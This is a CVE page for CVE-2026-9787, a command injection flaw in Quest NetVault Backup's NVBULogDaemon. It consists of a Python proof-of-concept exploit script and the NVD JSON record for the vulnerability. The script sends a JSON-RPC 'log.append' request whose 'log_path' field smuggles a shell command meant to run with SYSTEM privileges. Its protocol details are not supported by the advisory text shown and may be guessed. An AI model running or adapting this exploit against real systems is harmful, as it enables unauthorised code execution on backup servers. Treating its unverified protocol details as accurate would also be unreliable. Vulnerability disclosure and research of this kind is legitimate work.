CVE-2026-9787

#!/usr/bin/env python3 # CVE-2026-9787 - Quest NetVault Backup NVBULogDaemon Command Injection PoC # Vulnerability: Command Injection via JSON-RPC message in NVBULogDaemon # Reference: ZDI-CAN-27625 import socket import json import struct import sys TARGET_HOST = "127.0.0.1" TARGET_PORT = 8443 # Default NetVault NVBULogDaemon port def send_jsonrpc_request(host, port, payload): """Send a JSON-RPC payload to the NVBULogDaemon service.""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((host, port)) # Construct JSON-RPC message message = json.dumps(payload).encode('utf-8') # Send message length header followed by payload sock.sendall(struct.pack('>I', len(message)) + message) # Receive response response = sock.recv(4096) sock.close() return response except Exception as e: print(f"[ERROR] Connection failed: {e}") return None def exploit(): """ Exploit command injection in NVBULogDaemon JSON-RPC handler. The vulnerability exists due to lack of input validation on user-supplied string parameters before system call execution. """ # Malicious command injection payload # The injected command will execute with SYSTEM privileges injected_cmd = "; whoami > C:\\Windows\\Temp\\pwned.txt #" # JSON-RPC payload targeting the vulnerable log daemon method jsonrpc_payload = { "jsonrpc": "2.0", "method": "log.append", "params": { "log_path": injected_cmd, "message": "test" }, "id": 1 } print(f"[*] Targeting {TARGET_HOST}:{TARGET_PORT}") print(f"[*] Sending malicious JSON-RPC payload...") response = send_jsonrpc_request(TARGET_HOST, TARGET_PORT, jsonrpc_payload) if response: print(f"[+] Response received: {response.decode('utf-8', errors='ignore')}") print("[+] Command injection may have succeeded. Check target system.") else: print("[-] No response received.") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2026-9787", "sourceIdentifier": "[email protected]", "published": "2026-06-25T00:17:48.963", "lastModified": "2026-06-25T14:23:56.107", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Quest NetVault Backup NVBULogDaemon Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Quest NetVault Backup. Although authentication is required to exploit this vulnerability, the existing authentication mechanism can be bypassed.\n\nThe specific flaw exists within the processing of NVBULogDaemon JSON-RPC messages. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of SYSTEM. Was ZDI-CAN-27625."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "Quest", "product": "NetVault Backup", "defaultStatus": "unknown", "versions": [{"version": "14.0.0.19", "status": "affected"}]}]}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-06-25T12:44:51.317407Z", "id": "CVE-2026-9787", "options": [{"exploitation": "none"}, {"automatable": "no"}, {"technicalImpact": "total"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://support.quest.com/technical-documents/netvault/14.0.2/release-notes#TOPIC-2338529", "source": "[email protected]"}, {"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-376/", "source": "[email protected]"}]}}